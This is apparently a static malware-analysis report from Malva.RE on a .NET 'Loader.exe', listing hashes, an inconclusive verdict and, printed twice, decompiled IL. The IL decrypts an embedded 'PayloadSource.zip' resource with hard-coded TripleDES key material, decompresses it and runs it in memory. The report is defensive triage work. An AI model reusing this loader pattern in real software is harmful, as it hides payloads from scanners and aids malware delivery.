Suspicious
Suspect

4d182d799107659b404eb828c27b69bf

Share on LinkedIn
Print
PE Executable
MD5: 4d182d799107659b404eb828c27b69bf
Size: 328.7 KB
application/x-dosexec

This sample is a 321 KB PE Executable for which Malva.RE's static analysis did not establish a malicious verdict. Static analysis extracted 3 embedded or derived files. It matches 9 YARA rules. The file was analysed statically: it was parsed and decompiled, never executed.

SHA256
261253efdccc88bf9245ccefc47f35e62fcceb89a5c1d33446f041380f28c18f
MD5
4d182d799107659b404eb828c27b69bf
Verdict
Inconclusive
File type
PE Executable · 321 KB

Cite this report: https://app.malva.re/sha256/261253efdccc88bf9245ccefc47f35e62fcceb89a5c1d33446f041380f28c18f

Get an AI-generated breakdown of this malware's behaviour, IOCs and recommendations.

AI analysis is available with Essential.
Unlock with Essential

File
Type
Portable Executable file
Size
328.7 KB · 328,704 B
First seen
2026-10-26 09:45 · 6 days ago
Last seen
2026-10-26 09:45 · 6 days ago
Last analysis
2026-10-26 09:45 · 6 days ago
Hashes
MD5 4d182d799107659b404eb828c27b69bf Sha1 66631819cb40e55794753049c3edc875e11d08df Sha256 261253efdccc88bf9245ccefc47f35e62fcceb89a5c1d33446f041380f28c18f Sha384 61d94b397faaa13acba58ecb69cb9a2b41cf0568d20713a3cde20d060a410d06db07eb079b573fa18f1280c6ce3e639a Sha512 e24d4bd2bf9969685aec20acb992b3d8b2240ece40663cc193b3cf14b8ba2c5a46fa3bdebc566f3aaac63dcee997d716657fb288a828215d1d95b26c64b5e3b4 SSDeep 6144:V2EKeZEOLxBwarTXCcHTGVMLxu+H6DGWESIt+z8WC3iH:V9bEnu3TCIyESY+z8WHH TLSH 63648C5827ED8A26E6FE62B4E83D040D47F6B51A612EFB4F19A050FD6C13F8489017B7
Detection
PeID
.NET executableMicrosoft Visual C# / Basic .NETMicrosoft Visual C# / Basic.NET / MS Visual Basic 2005 - ASL Microsoft Visual C# v7.0 / Basic .NETMicrosoft Visual Studio .NET
Symbol obfuscation
Very low

4 files
EXE4d182d799107659b404eb828c27b69bf
Structure
STICH beta

No STICH Path has been generated for this analysis yet.

2 structural branches were classified as secondary (decorative or non-determinant content) and did not produce a fingerprint.

bin 2

Name Value
Module Name
Loader.exe
Full Name
Loader.exe
EntryPoint
System.Void PCLoader::Main()
Scope Name
Loader.exe
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
Loader
Assembly Version
0.0.0.0
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
<null>
Total Strings
5
Main Method
System.Void PCLoader::Main()
Main IL Instruction Count
192
Main IL 
call System.Boolean PCLoader::SetProcessDPIAware()
pop <null>
leave.s IL_000B: call System.AppDomain System.AppDomain::get_CurrentDomain()
pop <null>
leave.s IL_000B: call System.AppDomain System.AppDomain::get_CurrentDomain()
call System.AppDomain System.AppDomain::get_CurrentDomain()
ldsfld System.ResolveEventHandler PCLoader/<>O::<0>__R
dup <null>
brtrue.s IL_002B: callvirt System.Void System.AppDomain::add_AssemblyResolve(System.ResolveEventHandler)
pop <null>
ldnull <null>
ldftn System.Reflection.Assembly PCLoader::R(System.Object,System.ResolveEventArgs)
newobj System.Void System.ResolveEventHandler::.ctor(System.Object,System.IntPtr)
dup <null>
stsfld System.ResolveEventHandler PCLoader/<>O::<0>__R
callvirt System.Void System.AppDomain::add_AssemblyResolve(System.ResolveEventHandler)
ldtoken PCLoader
call System.Type System.Type::GetTypeFromHandle(System.RuntimeTypeHandle)
callvirt System.Reflection.Assembly System.Type::get_Assembly()
ldstr PayloadSource.zip
callvirt System.IO.Stream System.Reflection.Assembly::GetManifestResourceStream(System.String)
stloc.s V_5
ldloc.s V_5
callvirt System.Int64 System.IO.Stream::get_Length()
conv.ovf.i <null>
newarr System.Byte
stloc.0 <null>
ldloc.s V_5
ldloc.0 <null>
ldc.i4.0 <null>
ldloc.0 <null>
ldlen <null>
conv.i4 <null>
callvirt System.Int32 System.IO.Stream::Read(System.Byte[],System.Int32,System.Int32)
pop <null>
leave.s IL_0074: ldstr "/vytACWlvDAmN0R8iZD26PPLXqVmCduo"
ldloc.s V_5
brfalse.s IL_0073: endfinally
ldloc.s V_5
callvirt System.Void System.IDisposable::Dispose()
endfinally <null>
ldstr /vytACWlvDAmN0R8iZD26PPLXqVmCduo
call System.Byte[] System.Convert::FromBase64String(System.String)
stloc.1 <null>
ldstr sLFG6pocS+k=
call System.Byte[] System.Convert::FromBase64String(System.String)
stloc.2 <null>
call System.Security.Cryptography.TripleDES System.Security.Cryptography.TripleDES::Create()
stloc.s V_6
ldloc.s V_6
ldloc.1 <null>
callvirt System.Void System.Security.Cryptography.SymmetricAlgorithm::set_Key(System.Byte[])
ldloc.s V_6
ldloc.2 <null>
callvirt System.Void System.Security.Cryptography.SymmetricAlgorithm::set_IV(System.Byte[])
ldloc.s V_6
ldc.i4.1 <null>
callvirt System.Void System.Security.Cryptography.SymmetricAlgorithm::set_Mode(System.Security.Cryptography.CipherMode)
ldloc.s V_6
ldc.i4.2 <null>
callvirt System.Void System.Security.Cryptography.SymmetricAlgorithm::set_Padding(System.Security.Cryptography.PaddingMode)
ldloc.s V_6
callvirt System.Security.Cryptography.ICryptoTransform System.Security.Cryptography.SymmetricAlgorithm::CreateDecryptor()
stloc.s V_7
ldloc.s V_7
ldloc.0 <null>
ldc.i4.0 <null>
ldloc.0 <null>
ldlen <null>
conv.i4 <null>
callvirt System.Byte[] System.Security.Cryptography.ICryptoTransform::TransformFinalBlock(System.Byte[],System.Int32,System.Int32)
stloc.3 <null>
leave.s IL_00E1: ldloc.3
ldloc.s V_7
brfalse.s IL_00D4: endfinally
ldloc.s V_7
callvirt System.Void System.IDisposable::Dispose()
endfinally <null>
ldloc.s V_6
brfalse.s IL_00E0: endfinally
ldloc.s V_6
callvirt System.Void System.IDisposable::Dispose()
endfinally <null>
ldloc.3 <null>
ldc.i4.4 <null>
ldloc.3 <null>
ldlen <null>
conv.i4 <null>
ldc.i4.4 <null>
sub <null>
newobj System.Void System.IO.MemoryStream::.ctor(System.Byte[],System.Int32,System.Int32)
stloc.s V_8
ldloc.s V_8
ldc.i4.0 <null>
newobj System.Void System.IO.Compression.GZipStream::.ctor(System.IO.Stream,System.IO.Compression.CompressionMode)
stloc.s V_9
newobj System.Void System.IO.MemoryStream::.ctor()
stloc.s V_10
ldc.i4 4096
newarr System.Byte
stloc.s V_11
br.s IL_011A: ldloc.s V_9
ldloc.s V_10
ldloc.s V_11
ldc.i4.0 <null>
ldloc.s V_12
callvirt System.Void System.IO.Stream::Write(System.Byte[],System.Int32,System.Int32)
ldloc.s V_9
ldloc.s V_11
ldc.i4.0 <null>
ldloc.s V_11
ldlen <null>
conv.i4 <null>
callvirt System.Int32 System.IO.Stream::Read(System.Byte[],System.Int32,System.Int32)
dup <null>
stloc.s V_12
ldc.i4.0 <null>
bgt.s IL_010E: ldloc.s V_10
ldloc.s V_10
callvirt System.Byte[] System.IO.MemoryStream::ToArray()
stloc.s V_4
leave.s IL_015D: ldloc.s V_4
ldloc.s V_10
brfalse.s IL_0144: endfinally
ldloc.s V_10
callvirt System.Void System.IDisposable::Dispose()
endfinally <null>
ldloc.s V_9
brfalse.s IL_0150: endfinally
ldloc.s V_9
callvirt System.Void System.IDisposable::Dispose()
endfinally <null>
ldloc.s V_8
brfalse.s IL_015C: endfinally
ldloc.s V_8
callvirt System.Void System.IDisposable::Dispose()
endfinally <null>
ldloc.s V_4
call System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
callvirt System.Type[] System.Reflection.Assembly::GetTypes()
stloc.s V_13
ldc.i4.0 <null>
stloc.s V_14
br.s IL_01CB: ldloc.s V_14
ldloc.s V_13
ldloc.s V_14
ldelem.ref <null>
ldc.i4.s 26
callvirt System.Reflection.MethodInfo[] System.Type::GetMethods(System.Reflection.BindingFlags)
stloc.s V_15
ldc.i4.0 <null>
stloc.s V_16
br.s IL_01BD: ldloc.s V_16
ldloc.s V_15
ldloc.s V_16
ldelem.ref <null>
stloc.s V_17
ldloc.s V_17
callvirt System.Type System.Reflection.MethodInfo::get_ReturnType()
ldtoken System.Void
call System.Type System.Type::GetTypeFromHandle(System.RuntimeTypeHandle)
call System.Boolean System.Type::op_Equality(System.Type,System.Type)
brfalse.s IL_01B7: ldloc.s V_16
ldloc.s V_17
callvirt System.Reflection.ParameterInfo[] System.Reflection.MethodBase::GetParameters()
ldlen <null>
brtrue.s IL_01B7: ldloc.s V_16
ldloc.s V_17
ldnull <null>
ldnull <null>
callvirt System.Object System.Reflection.MethodBase::Invoke(System.Object,System.Object[])
pop <null>
ret <null>
ldloc.s V_16
ldc.i4.1 <null>
add <null>
stloc.s V_16
ldloc.s V_16
ldloc.s V_15
ldlen <null>
conv.i4 <null>
blt.s IL_0183: ldloc.s V_15
ldloc.s V_14
ldc.i4.1 <null>
add <null>
stloc.s V_14
ldloc.s V_14
ldloc.s V_13
ldlen <null>
conv.i4 <null>
blt.s IL_0170: ldloc.s V_13
ret <null>
Info
PDB Path: ?
Module Name
Loader.exe
Full Name
Loader.exe
EntryPoint
System.Void PCLoader::Main()
Scope Name
Loader.exe
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
Loader
Assembly Version
0.0.0.0
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
<null>
Total Strings
5
Main Method
System.Void PCLoader::Main()
Main IL Instruction Count
192
Main IL 
call System.Boolean PCLoader::SetProcessDPIAware()
pop <null>
leave.s IL_000B: call System.AppDomain System.AppDomain::get_CurrentDomain()
pop <null>
leave.s IL_000B: call System.AppDomain System.AppDomain::get_CurrentDomain()
call System.AppDomain System.AppDomain::get_CurrentDomain()
ldsfld System.ResolveEventHandler PCLoader/<>O::<0>__R
dup <null>
brtrue.s IL_002B: callvirt System.Void System.AppDomain::add_AssemblyResolve(System.ResolveEventHandler)
pop <null>
ldnull <null>
ldftn System.Reflection.Assembly PCLoader::R(System.Object,System.ResolveEventArgs)
newobj System.Void System.ResolveEventHandler::.ctor(System.Object,System.IntPtr)
dup <null>
stsfld System.ResolveEventHandler PCLoader/<>O::<0>__R
callvirt System.Void System.AppDomain::add_AssemblyResolve(System.ResolveEventHandler)
ldtoken PCLoader
call System.Type System.Type::GetTypeFromHandle(System.RuntimeTypeHandle)
callvirt System.Reflection.Assembly System.Type::get_Assembly()
ldstr PayloadSource.zip
callvirt System.IO.Stream System.Reflection.Assembly::GetManifestResourceStream(System.String)
stloc.s V_5
ldloc.s V_5
callvirt System.Int64 System.IO.Stream::get_Length()
conv.ovf.i <null>
newarr System.Byte
stloc.0 <null>
ldloc.s V_5
ldloc.0 <null>
ldc.i4.0 <null>
ldloc.0 <null>
ldlen <null>
conv.i4 <null>
callvirt System.Int32 System.IO.Stream::Read(System.Byte[],System.Int32,System.Int32)
pop <null>
leave.s IL_0074: ldstr "/vytACWlvDAmN0R8iZD26PPLXqVmCduo"
ldloc.s V_5
brfalse.s IL_0073: endfinally
ldloc.s V_5
callvirt System.Void System.IDisposable::Dispose()
endfinally <null>
ldstr /vytACWlvDAmN0R8iZD26PPLXqVmCduo
call System.Byte[] System.Convert::FromBase64String(System.String)
stloc.1 <null>
ldstr sLFG6pocS+k=
call System.Byte[] System.Convert::FromBase64String(System.String)
stloc.2 <null>
call System.Security.Cryptography.TripleDES System.Security.Cryptography.TripleDES::Create()
stloc.s V_6
ldloc.s V_6
ldloc.1 <null>
callvirt System.Void System.Security.Cryptography.SymmetricAlgorithm::set_Key(System.Byte[])
ldloc.s V_6
ldloc.2 <null>
callvirt System.Void System.Security.Cryptography.SymmetricAlgorithm::set_IV(System.Byte[])
ldloc.s V_6
ldc.i4.1 <null>
callvirt System.Void System.Security.Cryptography.SymmetricAlgorithm::set_Mode(System.Security.Cryptography.CipherMode)
ldloc.s V_6
ldc.i4.2 <null>
callvirt System.Void System.Security.Cryptography.SymmetricAlgorithm::set_Padding(System.Security.Cryptography.PaddingMode)
ldloc.s V_6
callvirt System.Security.Cryptography.ICryptoTransform System.Security.Cryptography.SymmetricAlgorithm::CreateDecryptor()
stloc.s V_7
ldloc.s V_7
ldloc.0 <null>
ldc.i4.0 <null>
ldloc.0 <null>
ldlen <null>
conv.i4 <null>
callvirt System.Byte[] System.Security.Cryptography.ICryptoTransform::TransformFinalBlock(System.Byte[],System.Int32,System.Int32)
stloc.3 <null>
leave.s IL_00E1: ldloc.3
ldloc.s V_7
brfalse.s IL_00D4: endfinally
ldloc.s V_7
callvirt System.Void System.IDisposable::Dispose()
endfinally <null>
ldloc.s V_6
brfalse.s IL_00E0: endfinally
ldloc.s V_6
callvirt System.Void System.IDisposable::Dispose()
endfinally <null>
ldloc.3 <null>
ldc.i4.4 <null>
ldloc.3 <null>
ldlen <null>
conv.i4 <null>
ldc.i4.4 <null>
sub <null>
newobj System.Void System.IO.MemoryStream::.ctor(System.Byte[],System.Int32,System.Int32)
stloc.s V_8
ldloc.s V_8
ldc.i4.0 <null>
newobj System.Void System.IO.Compression.GZipStream::.ctor(System.IO.Stream,System.IO.Compression.CompressionMode)
stloc.s V_9
newobj System.Void System.IO.MemoryStream::.ctor()
stloc.s V_10
ldc.i4 4096
newarr System.Byte
stloc.s V_11
br.s IL_011A: ldloc.s V_9
ldloc.s V_10
ldloc.s V_11
ldc.i4.0 <null>
ldloc.s V_12
callvirt System.Void System.IO.Stream::Write(System.Byte[],System.Int32,System.Int32)
ldloc.s V_9
ldloc.s V_11
ldc.i4.0 <null>
ldloc.s V_11
ldlen <null>
conv.i4 <null>
callvirt System.Int32 System.IO.Stream::Read(System.Byte[],System.Int32,System.Int32)
dup <null>
stloc.s V_12
ldc.i4.0 <null>
bgt.s IL_010E: ldloc.s V_10
ldloc.s V_10
callvirt System.Byte[] System.IO.MemoryStream::ToArray()
stloc.s V_4
leave.s IL_015D: ldloc.s V_4
ldloc.s V_10
brfalse.s IL_0144: endfinally
ldloc.s V_10
callvirt System.Void System.IDisposable::Dispose()
endfinally <null>
ldloc.s V_9
brfalse.s IL_0150: endfinally
ldloc.s V_9
callvirt System.Void System.IDisposable::Dispose()
endfinally <null>
ldloc.s V_8
brfalse.s IL_015C: endfinally
ldloc.s V_8
callvirt System.Void System.IDisposable::Dispose()
endfinally <null>
ldloc.s V_4
call System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
callvirt System.Type[] System.Reflection.Assembly::GetTypes()
stloc.s V_13
ldc.i4.0 <null>
stloc.s V_14
br.s IL_01CB: ldloc.s V_14
ldloc.s V_13
ldloc.s V_14
ldelem.ref <null>
ldc.i4.s 26
callvirt System.Reflection.MethodInfo[] System.Type::GetMethods(System.Reflection.BindingFlags)
stloc.s V_15
ldc.i4.0 <null>
stloc.s V_16
br.s IL_01BD: ldloc.s V_16
ldloc.s V_15
ldloc.s V_16
ldelem.ref <null>
stloc.s V_17
ldloc.s V_17
callvirt System.Type System.Reflection.MethodInfo::get_ReturnType()
ldtoken System.Void
call System.Type System.Type::GetTypeFromHandle(System.RuntimeTypeHandle)
call System.Boolean System.Type::op_Equality(System.Type,System.Type)
brfalse.s IL_01B7: ldloc.s V_16
ldloc.s V_17
callvirt System.Reflection.ParameterInfo[] System.Reflection.MethodBase::GetParameters()
ldlen <null>
brtrue.s IL_01B7: ldloc.s V_16
ldloc.s V_17
ldnull <null>
ldnull <null>
callvirt System.Object System.Reflection.MethodBase::Invoke(System.Object,System.Object[])
pop <null>
ret <null>
ldloc.s V_16
ldc.i4.1 <null>
add <null>
stloc.s V_16
ldloc.s V_16
ldloc.s V_15
ldlen <null>
conv.i4 <null>
blt.s IL_0183: ldloc.s V_15
ldloc.s V_14
ldc.i4.1 <null>
add <null>
stloc.s V_14
ldloc.s V_14
ldloc.s V_13
ldlen <null>
conv.i4 <null>
blt.s IL_0170: ldloc.s V_13
ret <null>

An error has occurred. This application may no longer respond until reloaded. Reload 🗙